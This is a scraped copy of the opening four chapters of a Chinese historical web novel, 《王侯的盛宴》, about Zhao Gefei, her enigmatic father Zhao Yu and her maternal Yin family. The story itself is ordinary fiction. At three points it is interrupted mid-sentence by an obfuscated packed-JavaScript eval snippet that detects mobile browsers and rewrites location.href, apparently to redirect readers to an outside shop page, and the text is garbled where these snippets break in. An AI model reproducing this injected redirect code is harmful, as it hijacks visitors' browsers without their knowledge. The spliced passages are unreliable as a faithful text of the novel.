《王侯的盛宴》 1. 01 01 “闺女,你见过雍京寅时的天空吗?” 赵格非记得她亲爹曾经这样问过她。此时,她就站在尹家府邸冰湖尽头的房间,看着寅正一刻的天空。 元熙十三年,正月。 按照雍京钦天监的宣文,寅时是黎明之前,夜与日的交界,那时的天空应该像是薄黑色的纱幕笼罩着即将破晓而出的太阳。不过这里不是雍京,这里是云中。云中地处大郑疆域的西北部,宣大总督署所在,是九边重镇第一要塞,再向西走,那里是一大片戈壁与沙漠,而它的尽头则是西疆诸国。 云中的日出比雍京要晚一个时辰。 此时的天空浓重的像黑色的墨。 赵格非在看书,琉璃灯在她手中的《洛阳珈蓝记》上,闪着柔和的光。 她外祖父尹明扬断腿致仕之前,曾经是兵部尚书兼宣大总督,行辕就在云中。他有些不幸,在一场对阵漠北游兵散勇的战役中被人用长/枪从战马上挑了下来,摔断右腿。大郑朝廷有禁令,身体有残缺的人无法立于庙堂,于是尹明扬尹总督在战争结束之后顺势上书乞骸骨。今上爱重人才难得,三次驳回尹明扬的奏折,当尹明扬第四次上书辞官回乡,皇帝免为其难应允,准许他回乡休养。 尹明扬就是祖籍就在云中,于是,尹家只不过是从总督行辕搬到尹府大宅。 大宅虽然不如总督行辕那么气势磅礴,却也是器宇轩昂,滴水檐高耸入云。这些不是最重要的,最重要的是它的位置。尹府在一个孤岛上,被烟波浩渺的云中湖环绕,四周是封闭的水域。 自己人不太好出去,但是同时,外面的人也不太容易进来。 赵格非的外祖父很喜欢这个地方,——“清净,人找不到我,好事找不到我,坏事也找不到我。” 卯时,赵格非亲爹回来。 他两眼发青,身上的狗皮大氅泛着雪茬子,脚上的靴子也是泥泞不堪,估计是自己撑船划过几乎全面封冻的云中湖,狼狈至极,看上去像一条丧家之犬。 “这么早起来看书。”赵格非亲爹把狗皮大氅摔在门外,早有粗使的丫鬟收下去。 “嗯。”赵格非,“亲爹,您又是一夜没睡。” “难得回来,昨晚和你娘说了会儿话。”他坐在木椅上,让人服侍着脱去靴子,换了新的布袜和布鞋,又在银盆里面洗了手和脸,还用青盐擦了牙漱了口,这才端过梅香递过来的一盏热茶,“闺女,别看书了,你一会儿就吃饭,然后收拾一下,我们今天启程回冉庄。” “您干什么?” “我睡一会儿,不然骑不了马。” “不吃饭了?” “不吃。”赵亲爹完全无视旁边那位梅香的软玉温香,只是吩咐道,“你去后厨给我用布包点烤饼肉脯,我们路上吃。” 随后,他自己去睡觉了。 大约到了辰时,云中的天空也泛起来鱼肚白,浅薄脆弱的阳光照在冰湖上,居然也能显出光芒万丈来。此时,从外面的抄手游廊上逶迤来了一位华服纨绔贵公子,他身上是川缎的衣袍,蜀绣的花鸟,远远望去,花红柳绿,如同一只搔首弄姿的大鹦鹉。 赵格非一看是他,连忙想要躲,哪知道那位贵公子早已经看到她,高声叫着她的乳名,——“花骨朵儿啊,花骨朵儿!!你起床了?干嘛呢,想我了没?” 赵格非一看走不了,就站在原地,安静的等着这位贵公子。 “舅。” 嗯,没错,这位看起来不太靠谱的纨绔是她亲娘的亲弟弟。 “呦,这是看书呢?”这位舅舅翻过赵格非的书,颠三倒四的看了几眼,又扔回黄花梨的大案上,“我说,花骨朵儿,你瞧你这个爱看书的毛病随谁呢?我们老尹家都是文盲,是粗人。我们做的是武官,干的是打打杀杀的勾当。从我爷爷那辈起就没出过读书人!你娘,哦,也就是我亲姐姐,会念一本《三字经》就是咱们这十里八乡有名的才女!再说你爹,他还不如我们老尹家的人呢,斗大的字没准认得一箩筐,那字要是再写的小一点,估计淘米的时候都能从筛子中漏出去。” “什么乱七八糟的。”赵格非把书收好。 她这个舅舅大名尹徵,小名桂宝儿。他是外祖母四十才生的小儿子,也是唯一的儿子,他们老尹家唯一的根。 这可是大宝贝一个,从外祖母的婆婆太夫人开始,全家上下对他那可真是如珍如宝,喜欢到不知道怎么喜欢了,顶在头顶怕歪着,含在嘴里怕化了,活生生的把宣大总督兼兵部尚书的独子养成了一个纨绔残废,文不成武不就,想她外祖父尹明扬英雄一世,最后对待这个纨绔儿子也是真没辙。 他自己不读书,也就埋汰别人不读书。 别的人不说,赵格非知道,她外祖父断腿之前那可是兵部尚书! 绝对不是草包! 尹明扬是先帝凤化二十三年二甲的进士,科甲正途出身,写诗可能写不过风流才子,可是八股文章做的是花团锦簇,馆阁体的大字写的也是浓墨重彩,绝对不是桂宝儿口中的文盲。 没人和他计较。 尹桂宝儿向里屋看看,“我姐夫呢?还睡着呢?” “昨天是我娘的忌日,他给我娘扫了扫墓,然后照例在坟边上陪着我娘坐了一晚上,今早才回来。” “对了,他瞧见那个梅香丫头了没?” 赵格非仔仔细细死盯了他一眼,抿着嘴不说话。 “那丫头是我亲自按照姐夫那个调调找的。我姐夫这人,要是一个不知道他写字也写不好的外人,只看他那个模样,还以为是话本里面的穷书生呢!看上去也是酸文假醋的,我还以为他会喜欢梅香那股劲儿。”尹桂宝儿撇了撇嘴巴,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728859|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐这都走了多少年了,他真想给我姐守身一辈子啊。别说,咱们云中传闻中第一怕老婆的男人还是个情种。” 此时,有小丫头给赵格非端了早点过来,一碗撒了芝麻芫荽的大肉馄饨。 尹桂宝儿不在这边吃,他就坐在赵格非对面,支着下巴看着她,“我姐活着的时候他身边就没有那些不三不四的小老婆,我当时还以为他怕我姐娘家势力不敢纳小。后来我姐生不出儿子,我爹都开口让他找个通房生儿子,他也没同意,其实我当时挺看不起他的,为了岳父家的势力,连自己老赵家的血脉都不顾。” “不过现在我其实挺佩服他的,真的!我那些兄弟们都挺佩服他。他们都说这男人要是表现的一年两年怕老婆,那特别容易,而且在老岳父位高权重的时候更容易,但是要说,老婆死了岳父也丢官回家呆着之后,还能这样怕老婆,那就是表里如一的真怕老婆了,那就是真性情,是条汉子!” 尹桂宝儿说道这边,还拍拍胸脯,“以后,姐夫就归我罩着,不管他以后是不是另娶,他一辈子都是我姐夫!” 他说完一抬眼,看见赵毓就站在帷幕下,“哟,姐夫,您这是海棠春睡,起的早啊!” 赵格非拿着勺子挡住脸,——丢人,丢人现眼,有这样一个亲舅,真丢人。 她亲爹赵毓似乎没有听到桂宝儿说什么,也可能是习以为常,走到桌面端起来茶盏,喝了润了喉咙才开口,“有事?” “咦?”尹桂宝儿砸吧嘴,“姐夫,你有时候说话居然是字正腔圆的雍京官话,不是那种雍京市井口音,而是正经的雍京官话!我见过爹接待过一些从雍京来的朋友,那些人还在官场,说的就是你这样的口音!可是,你平时用的冉庄口音也很地道,只是在你睡迷糊或者没睡醒的时候开口才是雍京官话,真是奇也怪哉。” 赵毓没搭理这个话茬,又问,“有啥事?”这回才是冉庄的土话。 尹桂宝儿习惯了,也就不追着刨根问底,“我娘醒了,让你过去正房吃饭。哦,对,花骨儿也一块去,她有事说。”随后,又夸张的腔调了一遍,“正经事,大事。哦,对了,花骨儿,我娘还准备了你最爱的过油肉和莜面窝窝。” 已经吃了半碗大肉馄饨的赵格非惨叫,“怎么不早说?!” 尹桂宝儿特别无辜,“我这不是没来记得说嘛,谁让你一张口就是一个馄饨,吃那么多,像个桃叶!” “……呃,桃叶是啥,桃叶吃的多吗?……”尹桂宝儿走了以后,赵格非还是有些丈二和尚摸不着头脑。 “饕餮。”她亲爹赵毓给她传道受业解惑。“上古神兽,贪吃。” “亲爹,这两个字怎么写?” 赵毓用手沾着茶水在桌面上潦草写了。 赵格非惊讶的看着她这个一口冉庄土话的亲爹,“亲爹,您会写字?” 2. 02 02 屋子中很热,还熏了香。 尹夫人躺在千工拔步床上,她看见女婿儿子还有外孙女进来,就隔着床边垂下来的湖州丝幕,开始呻/吟:——“诶呦,诶呦,~~~~~~~~~” 尹桂宝儿见他娘如此难受,连忙凑到床边。 谁知道他亲娘此时并不十分待见他,此时,尹夫人手指了指站在桂宝儿身后的赵毓,“心肝儿,你过来。” 赵毓走到床边,尹桂宝儿让了位置,他走到尹夫人面前,坐在床边。 “昨晚不是好好的,今天怎么了?”赵毓虽然说话带着直隶冉庄的土音,但是他的声音很好听,清净的水一般,似乎可以荡涤一切。“早上就难受,谁气着您了?” “还能有谁啊,还不是你们这些人!上辈子我肯定欠了你们很多银子,这辈子一个一个的过来和我讨债。” “妈,你这么说就不像话了啊!”尹桂宝儿是别人捧着长大的,受不得半分委屈,连他妈他都不顺着,“我们怎么敢气着您啊!我们已经像供着老佛爷一样供着您了,您还想怎么着?” 赵毓却不恼,他轻声吩咐一旁侍候的婆子,“端碗燕窝粥过来。” 不一会儿,那婆子就把粥端了过来。 赵毓拿着盛着米粥的瓷盏,让丫鬟们把尹夫人扶起来,后背放在靠枕坐好,他单手捏着瓷勺子开始给老太太喂饭。此时,赵格非也偷了个空,坐在餐桌旁边,开始吃自己最爱的莜面窝窝。 桂宝儿发现他这个姐夫其实挺有一套的。 他对于女性的吸引力绝对比他们这些自诩风流潇洒的纨绔贵公子们要强悍的多。上至八十多的太夫人,下至满府邸的小丫鬟,不管有没有爬姑爷床的贼心与贼胆,似乎都对赵毓另眼相待。这不,连他爹都头疼的他亲妈,在女婿赵毓面前也安静下来,显出一丝温良恭俭让的气息。 赵毓喂饭喂的异常安静。 虽然尹桂宝儿自诩他们尹家上下满门具是文盲,可是他亲爹终究是做过兵部尚书的人,一家大小食不言寝不语还是勉强可以做到的。 尹夫人吃饭吃的也很安静。 不一会儿,瓷盏见了底。 赵毓将瓷盏递出去,这回过来接瓷盏的是一双皓白的手,腕子上还带着一对儿羊脂玉的镯子。 尹桂宝儿眼睛直勾勾的瞄着那双手。 然后,他看到了一位美人。 纤细的脖子,美丽的头颅,就是头发挽成一个圆形的发髻,这是出嫁妇人的妆扮。 尹夫人说,“桂宝儿,这是你堂姐,三房六伯母的闺女。” “堂姐好。” 尹桂宝儿施礼,……,这是怎么回事?他低头看了看坐在床边的姐夫赵毓,他还是很安静,似乎根本没有在意身边多了一个人,并且还是一位美人。 “还难受吗?”赵毓问尹夫人。 “哎,好是好点了,就是还不舒服,心口疼。”许是尹夫人吃饱了,终于有了力气,就开始抱怨,“姑爷,你说说,老徐家真不厚道!徐老三一直在桂宝儿爹军中做一个四品参将,桂宝儿爹一直照应他,要不是桂宝儿爹,他徐老三就是三头六臂也早死了七八百回了!我当时想着他们家的二小子和花骨朵儿凑成一对儿,虽然他们家不是大富大贵,可是家门清净,又在云中,我们也算是知根知底。我们话是没有明说,这么多年的往来,双方也算是心知肚明,原本想着花骨朵儿十五岁及笄之后他们下定,可是,……,可是,……” 说到这里,尹夫人居然呜咽了两声。 “去年徐老三去了雍京,昨天就派人回来送喜帖,说他们家的二小子与京中鲁家订了亲,鲁家的老爷是翰林,他们祖上三代都是翰林,穷是穷了些,但是门第清贵,……,诶呦,疼,心口疼。这不就是嫌弃我们家花骨儿门第不清贵嘛,~~~~~” 赵毓安静的看着她哭。 赵格非叹气,……,早就知道,吃个朝食也不得安生。 尹桂宝儿看着赵毓,他很安静,但是并不是那种如同严寒一般的安静,反而有些温暖,如同夏天的夜。 他这个姐夫,门第与清贵绝对不沾边。 赵毓是个极其矛盾的人。 他好像看起来很容易养活,粗茶淡饭似乎也能知足,但是一些小细节上却十足的是没落王孙公子的穷讲究。 比如他吃梨从来需要蒸,熟了以后滴蜂蜜;他还喜欢吃葡萄,那可是六百里加急从西疆运过来的稀罕物,唐诗中的’一骑红尘妃子笑’也就不过如此;还有茶,他宁可喝白水也绝对不碰品质差一点点的茶,每年的茶叶都需要从闽浙过来的珍品,虽然极少,却可以顶的上他亲爹、一个兵部尚书外加封疆大吏五年的俸禄,太贵,供养不起,所以他喝白水的时候比较多。 可是,要说他家世多好,那也是绝对不可能的。 他看起来是书生,手无缚鸡之力,却没有考功名的打算,也似乎考不了功名,他字写的不好看,这就断了他一生的前途。说到底,他就是一介草民,还永生永世没有翻身机会。 赵毓似乎没有父母,也没有兄弟姐妹,什么也没有,孤身一人。 在桂宝儿姐姐活着的时候,他就住在云中尹家,好像那种忘记祖宗的入赘女婿。而在桂宝儿姐姐去世之后,赵毓则去了直隶冉庄,据说那是他老家。也许是他活的太艰难,他将女儿花骨朵儿留在云中,逐渐几年过去,他可能过的好了一些,花骨朵儿一年中有一多半是跟着他住在直隶冉庄。 后来他又隐约听说赵毓祖上也做官,只是没落了,再后来,他听说赵毓父亲是罪臣,具体是哪位罪臣这就无从考证了。毕竟雍京城每年都有几位大人被抄家,子女流放,一生再无翻身良机,哪个还能当面跑去揭人家伤疤? 桂宝儿曾经问过他娘,为什么给姐姐找了这么一门夫婿。 “你姐姐自己找的。”——他娘这么说。 我姐名门闺秀,也能做出无媒苟|合的事来?——尹桂宝儿有些不信。 尹夫人见赵毓不发一言,自己唉声叹气似乎也没有打动他,只能再加一把火,“姑爷,你是男人,心粗,不懂这事。我闺女走了,她把花骨朵儿托付给我,她们娘俩都是我的心头肉,眼珠子,我要是在花骨朵儿的终身大事上对不起我闺女,我以后死了都没脸见她啊,~~~~~~~~~~~~” 尹夫人继续哭,赵毓看着她,终于叹了口气,说,“您先别哭,我问问花骨朵儿。闺女,……” “哎,我在这儿。”赵格非离开餐桌,上前。 赵毓问她,“你愿意嫁给这么一个男人吗?他们家将儿女的婚事做成自己攀附的工具?” “父亲,女儿不愿意。”赵格非轻声却斩钉截铁的说。 听到这些,赵毓微微点头,转而向尹夫人说,“格非她不愿意。既然她不愿意,那么和徐家二公子无法结亲也就不是一件坏事,您也别着急了。” “什么叫她不愿意,我就不着急了?”尹夫人忽然坐直,有一种怒发冲冠的魄力,“自古以来,婚姻大事都是父母之命媒妁之言,什么时候轮到她一个丫头片子乱开口?当年我就是太纵容桂宝儿姐姐了,看看她自己找了个什么样子的女婿,文不成武不就,最后把花骨朵儿也耽误了,~~~~~~~,我苦命的女啊~~~~~~” 赵毓也不恼,就看着她哭,等到她哭的实在没意思了,这才罢休。 “您老人家舒坦了?”赵毓看着她,甚或还有些微笑,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“知母莫若子!”尹夫人颇有些自豪,“你这个堂姐好啊!她虽然嫁过人,但是丈夫体弱多病,去年六月就亡故了,她在夫家没孩子,你六伯母的意思是让我给在云中找个男人,年纪轻轻的不能就这么守着。我看女婿挺合适。他们要是成了,你姐夫还算是尹家的女婿,花骨朵儿也不会被苛待。还有啊,你三房的六伯现在就在雍京做官,据说是三品,有权有势,你那个堂姐的手帕交都是雍京贵女,随便也能给花骨朵儿找个好婆家。儿子,这可是一石三鸟的好事。还有,……” 尹夫人凑近,低声说,“我问过璎珞,哦,就是你堂姐了,她说,看着你姐夫不错。” …… 尹桂宝儿有些懵,“亲娘,我发现姐夫好像对女人很有些手段,你看,他在你床前根本什么都做,这堂姐就能上钩。” “这你就不懂了。”尹夫人颇有些过来人的味道说,“你姐夫就算是千不好万不好,也有一样好,就这一点,女人就没有抵挡。” “啥?” “你姐夫从来不拈三搞四,只要成为他身边的女人,那就是一辈子的太平。” 尹桂宝儿听完就是一笑,“亲娘,您有没有想过,就是因为姐夫从来不拈三搞四,所以,任何人其实都没有机会。” “那话不能这么说,你姐不是有机会吗?” “这么多年,除了我姐,您还见过他身边有别人吗?一般男人都做不到这一点吧。那就是说,能做到这一点的,都不是一般人。还有,这么多年,您没觉得他和咱们其实有些不太一样?” “什么不一样?” “别的不说,就只说一点,娘,您听过他说话吗?” “听过,怎么了?” “他会说雍京官话,我不是说他会说雍京市井口音,他说的那是雍京官面上的话,字正腔圆,很好听,如果不是从小就跟着他们家做官的老爷子学的或者请了师傅专门教的,根本说不了这么地道。” 桂宝儿忽然觉得自己好像洞察了什么,“亲娘,您就别有事没事瞎琢磨了。我姐夫那个人看起来好像挺没用的,但是他想什么,咱们谁也不知道。您根本摸不到他的脉。” 尹夫人却没有桂宝儿想象的那么惊讶。 她有些欲言又止,随后说,“哎,这是你爹的意思,把他留在尹家,对你,对我们,……,都好。” 3. 03 03 赵格非感觉这一路很顺。 封冻的路面适合快马疾驰,第二天,他们就到了黄河边。此时的黄河已经上冻,父女二人不用撑船骑马就可以横渡黄河。赵毓选择从梁川渡河,又在五台拣了崎岖的山道过太行山。 路有些难走,但这里却依然可以骑马。 “这是一条行军的密道。”赵毓对赵格非说,“当年我在你外祖父军中效力,有一次从他的一副秘密布防图上看到,就记了下来,没想到这些年过去了,这条路依然畅通。” 赵格非知道她亲爹当年在外祖父军中做过参将,也立过赫赫战功,就是不知道为什么皇帝的敕封诏书上没有他的名字。——赵毓,似乎是被所有人遗忘的一个名字。 混乱的响声,马蹄飞奔。 此时,对面道路上疾驰而来十匹快马,其中五匹马上有骑手,他们全身暗色劲装,剽悍凶猛。走近了,赵格非看见他们的衣服上暗隐的繁复花纹,另外,每个人背后裹着三尺长的牛皮袋,不知道装着什么绝密的东西。 山路很窄,赵毓父女与对方人马狭路相逢。 双方勒住马,那边一位骑手向前逼近一步,“你们是谁?” 此言一出,这位骑手背后的人已经将手按在他们腰间的佩刀上。 那位骑手又问,“为什么出现在这里?这是兵部秘建的行军道路,一般百姓如没有兵部勘合,借道者死。” 赵格非听见她父亲用很纯正的雍京官话答道,——“赵毓,冉庄人士,偕女格非回岳家为亡妻扫墓。” …… 如此简单直白,没有任何解释。 赵格非已经对方会继续追问,或者直接动手,结果那些骑手再听见父亲说完就已经将按在佩刀上的手指松开。 那位骑手问,“赵先生,可有凭证?”即使他依然没有让路,可是声音却随和了很多。 赵毓从怀中拿出一块碧绿色的翡翠玉牌。 那位骑手看见之后,脸色如同六月的天,原先还是晴空万里,刹那之间就乌云密电闪雷鸣,并且他那个姿势立刻就要滚鞍下马跪地,赵毓拦住他。 “几位是缇骑秘使,后背的牛皮袋上有内阁红封,必然是公务在身。在下一介草民,不敢耽误各位大人的正事。格非,下马,让路。” “是,父亲。” 赵格非与赵毓下马,扯住缰绳,将马匹带到一旁。 “下官梁十一谢过赵先生。” 那位骑手于马鞍上抱拳拱手,却不再礼让也不再客气,他手一挥,率先用双腿夹了马肚子,胯\下骏马已如离弦利箭一般冲出,他后面的四个人八匹马随即跟上。 等待他们走远,赵格非晃了晃神,发现她亲爹赵毓拿着皮水囊喝水。 “亲爹,我舅猜的对,您原先也在雍京城做过官的吧?您刚才那个样子太威风了,比当年您拿着竹竿帮咱家的芦花鸡大战对面的黑公鸡还要英明神武!” 闻言,赵毓口中的水有些变了味道。 他感觉自己似乎咽不下去,可是又吐不出来。 随后,他叹口气说,“这官嘛,你亲爹我真的没有做过。不过当年我在雍京呆过几年,认识几个朋友。这些年过去,那些朋友也散落的七七八八,有的已经故去,有的瘸了一条腿,还有的,……,还有几个倒是位高权重,也算卖给我面子,让我可以扯着他们的名字狐假虎威。不过人情终究不能随便滥用,偶尔要命的时候拿出来唬人到还事半功倍。” 他把水囊给了赵格非,让她也喝口水润润喉咙。 “时候不早了,咱们赶赶路,晚上能到阜平吃炖肘子。” 赵格非拿水囊的时候不小心蹭掉了赵毓手中的翡翠玉牌。这么绿的翡翠似乎石头中充盈着一汪清水,民间俗称帝王绿,稀世之珍。幸好玉牌掉到荒草堆中,未损丝毫。赵格非连忙从地上捡起来,用袖子又抹了抹了抹上面的灰,这才递给赵毓。 即使没有刻意看,赵格非依然瞟见玉牌上九龙环绕,正中用大篆雕刻着两个字,——文湛。 似乎是一个人的名字,有些陌生,又有些熟悉。 奇怪。 “亲爹,我不是故意的。” “没事。” 赵毓收了起来。 他们上马赶路。 一路上,穿过太行山的风冷箭一样,吹在人脸上噼里啪啦的,赵格非脑子如同被冷风吹开了一个大洞,骤然开朗! ——文湛! 她知道为什么自己看到这个名字的瞬间感觉到陌生,继而又有些熟悉,但是任凭她冥思苦想也想不起来这是谁的名字的原因了! 文湛,当今圣上元熙帝的名讳! 民间要避皇帝的名讳,可是“文湛”二字又极常用,所以今上的名讳就用异化的写法,增添笔划重写了这两个字,以区别民间使用,不至使民间避讳,另生不便。所以,皇帝的名字写出来很是繁复,犹如传世的极美镂空雕刻,像是大郑的列祖列宗在岐山神宫香火之后的神迹,唯独不像活人。 可是那块玉牌上的“文湛”两个字雕刻的那么清晰,那么明白,一笔一划没有丝毫的异化与变动,似乎无所畏惧,就是帝王本人! 这是怎么回事? …… “亲爹,即使您能渡黄河、过太行,霸气震缇骑,肚量清锅底(他们在阜平吃炖肘子,她爹可能饿了,一口气把一锅肘子都吞了),咱们这茅屋该漏雪的时候还是漏了,并且需要我们亲自动手修理,这就是人生啊。” 冉庄暴雪。 厚重的雪压下来,将他们后院拆房的屋顶压塌。 赵格非站在后院的茅屋前面发了一阵感慨,“这大正月的,估计修屋顶的王老二不出门接活儿。” 赵毓将两匹马牵到后院马厩里面拴好,说,“无妨,我去找后街的郭大娘,她人面广,应该认识正月里在家窝冬喝酒耍钱,最后输的连正月都过不下去的庄户。对他们那种人来说,这个年团不团圆不重要,有没有钱吃饭才重要。” “郭大娘?”赵格非拿着一块松江布巾给他爹掸掸灰尘,“她是不是去年中元那个每天追着您要把前街给人缝补衣服的江寡妇撮合成我后妈的那位大娘?” “是。” “啊?那您去找她,她又要拉着江寡妇给您烙饼吃怎么办?” “诶,这世道艰难,闺女啊,江寡妇其实是看不上你爹这样的,她欢喜的是那种粗壮的汉子,前面饭铺的小伙计估计就和她挺对眼的。她之所以愿意过来见见我就是因为家里有两个半大的孩子还有一个瞎了眼的老公爹,人口多,要吃饭,没办法。我看她会蒸包子,做的还不错,就在中秋节前给了她五两银子,让她盘个铺面蒸包子。刚才咱们回来的时候你没注意,我看那个包子铺好像已经开张了,旁边帮她的人就是那个饭铺的小伙计,人家既然都成了,郭大娘总不能再说什么了,对吧。” “哦,……”赵格非想了想,歪头问赵毓,“亲爹,是她会蒸包子,还是您想吃包子让她蒸的?我记得好像您挺喜欢吃包子的,但是娘亲不太会做饭,云中倒是有包子,可是咱们冉庄这一条街上就没有,不会是您早盘算好了吧。您去年中秋就给了江寡妇银子了,年前才开张,不会她是现学现卖的吧。” 赵毓拍了拍赵格非的肩膀,“闺女,世道艰难,人生在世不称意的事情十之八U九,所以,我们每天要做的事情就需要让自己舒心。江寡妇上有老下有小,她需要多学点技能傍身,我这也是为她好。不多说了,我要去找郭大娘,晚了,我怕她也喝酒耍钱去了。你在家里把厨房灶台好好清清,我回来买点酒菜,咱们再烧一锅热水,吃完饭洗澡睡觉。” 厨房倒是不脏,就是有些尘土。 赵格非拿着个掸子先清完尘土,再用抹布擦。 正忙着,听见前院有人推开门,她拿着鸡毛掸子过前院,看见客人来。 这位应该是男子,一身深蓝劲装,外罩丝锦大氅,容貌极秀美,带着模糊性别的清丽,他用双手推开门。 “黄瓜叔,您过来了?”赵格非有些意外,又其实没有那么意外,“我还以为过两天才能看到您呢。” 那个人并不说话,只是对着赵格非温和的笑了一下,随即侧身,谦卑而恭敬的躬身弯腰。 他身后走进来另外一个男人。 纯白色的貂皮大氅,身上是黑色丝袍,料子上暗绣着一些水波纹,在雪光下显得华贵异常。 他身上的衣物熏了浓重的香,犹如瑰奢。 “六叔。”赵格非恭恭敬敬的对着他福了福。 说来奇诡。 赵格非知道这位’六叔’与她亲爹其实很亲近的,据说和他爹有过命的交情。 他们幼年就相识,一起玩耍,一起长大。小的时候还在一个碗里吃饭,一床睡觉。 哦,现在有的时候也是。 不过似乎没有再在一个碗里面扒拉过东西,至于是不是一床睡,那是她亲爹的事,她不管,就如同她亲爹也从来不用’父母之命媒妁之言’来压着她一样。 总之,她亲爹和六叔很亲近。 她不记得自己什么时候第一次见到他,就是隐约有个模糊的印象,似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728861|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎,已经过去了很多年。 不知道为什么,一看到他,赵格非就感觉冷飕飕的。 这种冷是透骨的。 虽然他也会温和的笑,但是那种笑和亲爹的笑完全不一样。她亲爹赵毓可以笑的让人感觉明天是有希望的,一切苦难都可以过去。而这位的笑,……,像冬天的冰湖又或者是雪线上的慕士塔格峰: ——昆仑的西端,皆是冻土,没有生灵,仅余下一片荒芜,永生永世。 “你父亲呢?” 又是雍京官话。 他们这样的口音比雍京市井口语软,正、干燥、不油滑,带着那么一丝千娇玉贵的味道。 “他,……” 赵格非正要说,就听见院门外她亲爹赵毓的声音,“这大正月的还劳烦大娘带着师傅跑一趟,多谢多谢。” 门被推开,她爹赵毓领着人进来。 他一眼看到那位‘六叔’,仅仅说了一句,“过来了。” 随意中带着亲近。 “呦,黄瓜,你也来了。你们先到正房坐一下,我后院的柴房塌了,这不找了人过来修,一会儿忙完了招呼你们。郭大娘,这位师傅,请请。” 所谓难者不会,会者不难。 柴房的顶棚在那位估计是喝多酒耍钱的什么师傅手中,也不过是一下午的活计,不难。 赵毓交代完,他让赵格非从钱袋子中拿了一吊大钱,穿了红线双手给那位师傅,说了两句好话,还烧水冲了一碗热茶,这才和郭大娘到前院。他也让赵格非给郭大娘点茶钱,人家大正月的跑过来一趟也不容易,一会儿忙活完了正好可以回去喝酒打个八圈。 “不用,不用。”那位郭大娘连忙推辞,“咱们街坊邻里的住着,这点事儿都不算什么。” 赵毓见郭大娘当成推辞,也就把铜钱收了起来。 “您也里屋歇歇,喝口茶?” “这也不用,我灶上还炖着肉呢。这位,……,这……” 刚才忙乱,这个时候郭大娘才看见赵毓的院子里面还站着两个陌生人。 穿白貂皮的哥儿长的可真俊! 那张脸看起来明晃晃的,跟正午的大日头一样,千万条光芒直|插眼底,刺着自己两个眼睛生疼! 赵毓说,“哦,他们是我老家的亲戚。” 郭大娘连忙眨眨眼,——不能看,不能再看,估计那位是神仙下凡,自己肉眼凡胎,承受不住。 “花骨朵儿爹啊。”她一把抓住赵毓的袖子开始语重心长,“这闺女也大了,没几年就要出阁,今后就剩下你一个人,这不成。这家里没有女人不是个家。那个江寡妇带着两个孩子还有一个瞎眼的老公爹,你要是看不上,……” “郭大娘,我没有看不上江嫂子,是人家不待见我这样的。”赵毓连忙解释,一边说话,一边用力拽自己的袖子,“方才我去找你之前先路过的包子铺,看见她那个铺子里面的小伙计,人壮士又能干活,对她还好,人家已经和和美美的,您就不要再提我这档子事了。” “哦,对,忘了提了。那个江寡妇和伙计好上了,反正她用人也不打算给工钱,好了就好了,肉烂在锅里。花骨朵儿爹,你别怕,大娘再给你找。”郭大娘手劲还挺足,愣是让赵毓脱不了身,“这不,我又有一个新人了。这个姑娘好,她们家底子厚,家里是做买卖的,手下有铺面,家里有伙计。你们要是成了,以后吃喝肯定不愁,也不会大正月的满大街找人修屋顶了。” “大娘,我这……” “花骨朵儿爹,你看看我老婆大正月的给你找人修屋顶,我灶上还炖着肉,家里孩子没吃饭,我也不容易,你就看在我的面子上,见一面成不成。” “……”听她都这么说了,赵毓只能点头,“成,过了年,我请您还有那边的媒人吃饭。” “咱们也不用过了年了,明天,就明天!”郭大娘颇有魄力,“明天晌午,咱们去沿河白家的驴肉馆,来个驴三件,好吃又暖和。你们见了面再好好聊聊。” “成,都依您。” 看着架势,赵毓不答应,是脱不了身。 果然,听他这么一点头,郭大娘可算是松了手。 终于把她送出门,赵毓关门回来,脑门都出汗了。 赵格非就看见那位六叔看着她亲爹,皮笑肉不笑的来了一句,“恭喜。” 而他亲爹眼睛转了转,“你们还没吃饭吧,我外面订的包子好了,我去拿,另外给你们再切点猪头肉去。花骨朵儿,再烧点热水,温点酒,一会儿咱们吃大餐!” 说完,溜之大吉。 4. 04 04 尹桂宝儿叫了个堂会。 那是一个从南边过来的戏班。 他们原本是一个南浔富户买的,只在自己园林庭院中唱。后来那个富户死了,子孙不肖,每个儿子都声嘶力竭的嚷着家产分配不匀,于是老太太做主将家中所有祖产尽数变卖,换成白银,给了几个兄弟,这才平息了纷争。 这个戏班也被卖了。 云中一个大商户买来结交权贵用的,今天唱的是《长生殿》的《夜雨闻铃》。马嵬惊/变之后,唐明皇遇到大雨,顿感觉凄惨。那唱腔好,即使在云中这天干物燥的西北之地,也有了一种凄风苦雨的感觉。 桂宝儿之前没有听过昆腔,他也听不懂。 他硬压着自己听了一会儿,耳朵好像被灌入了半条黄河的河泥,真是受了大罪。 他亲爹尹明扬倒是微微闭着眼睛,像是很受用的样子。 尹桂宝儿给她娘磕了两个核桃,他娘说,“你爹爱听这个,原来在雍京的时候,他常去崔侯府上听戏,一来二去,云中的花腔不爱听了,倒喜欢了昆腔。” “哪个崔侯?” “宁淮侯,崔珩。”尹夫人说,“外戚,权势滔天。” 